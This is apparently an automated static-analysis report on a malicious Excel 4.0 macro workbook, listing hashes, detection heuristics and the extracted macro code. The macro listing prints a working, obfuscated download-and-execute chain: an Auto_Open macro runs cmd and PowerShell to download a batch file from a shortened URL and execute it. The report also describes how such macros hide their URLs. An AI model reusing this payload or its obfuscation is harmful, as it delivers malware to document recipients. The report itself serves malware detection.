Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6e42aa3502b7df8…

MALICIOUS

Office (OLE)

305.0 KB Created: 2020-11-28 13:42:19 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 5a895a09e1904f9b2039ec1d56bd78f4 SHA-1: def79396729fd4bfd6009d2c01e5bce7524dd6d0 SHA-256: e6e42aa3502b7df843db27983a73d6258d58fce6dd6d473755b2b6de3640b913
222 Risk Score

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • XLM workbook contains URL shortener medium OLE_XLM_URL_SHORTENER
    Workbook contains an Excel 4.0 macro-sheet marker and visible URL-shortener targets in the OLE bytes. This is a common XLM downloader shape even when formula recovery is incomplete.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://tinyurl.com/yxv7uza4 Referenced by macro
    • https://tinyurl.com/yxv7uza4�Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2060 bytes
SHA-256: 645b2ab32293c646d6aa34b8f46cf19d1ac92e3ca6cd1b75ac825c9914edda47
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  Macro
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Feuil
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Feuil
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Feuil
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Feuil
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Feuil
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Macro!I409 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Macro,I409,"ERROR(FALSE,A1)",""
'  Macro,J409,"",101.00000000000000000000
'  Macro,I410,"GET.CELL(5,J409)",""
'  Macro,I411,"EXEC("c"&CHAR(109)&"d /c po^wersh"&CHAR(I410)&"^ll -w 1 (nEw-oB`jecT Ne"&CHAR(116)&CHAR(46)&CHAR(87)&CHAR(101)&"bCL`I`eNT).('Do"&CHAR(119)&"n'+'"&CHAR(108)&CHAR(111)&CHAR(97)&"dF"&CHAR(105)&"le').In"&CHAR(118)&"ok"&CHAR(I410)&"('"&CHAR(104)&"ttp://rebrand.ly/WdBPApoMACRO','a.bat')")",""
'  Macro,I412,WAIT(NOW()+"00:00:04"),""
'  Macro,I413,"FOPEN("a.b"&CHAR(97)&"t",1)",""
'  Macro,I414,"['0', 'FWRITELN("SET VAR="&B2&"")']",""
'  Macro,I415,FCLOSE(0),""
'  Macro,I416,WAIT(NOW()+"00:00:02"),""
'  Macro,I417,EXEC("powersh"&CHAR(I410)&"ll -w 1 ./a.bat"),""

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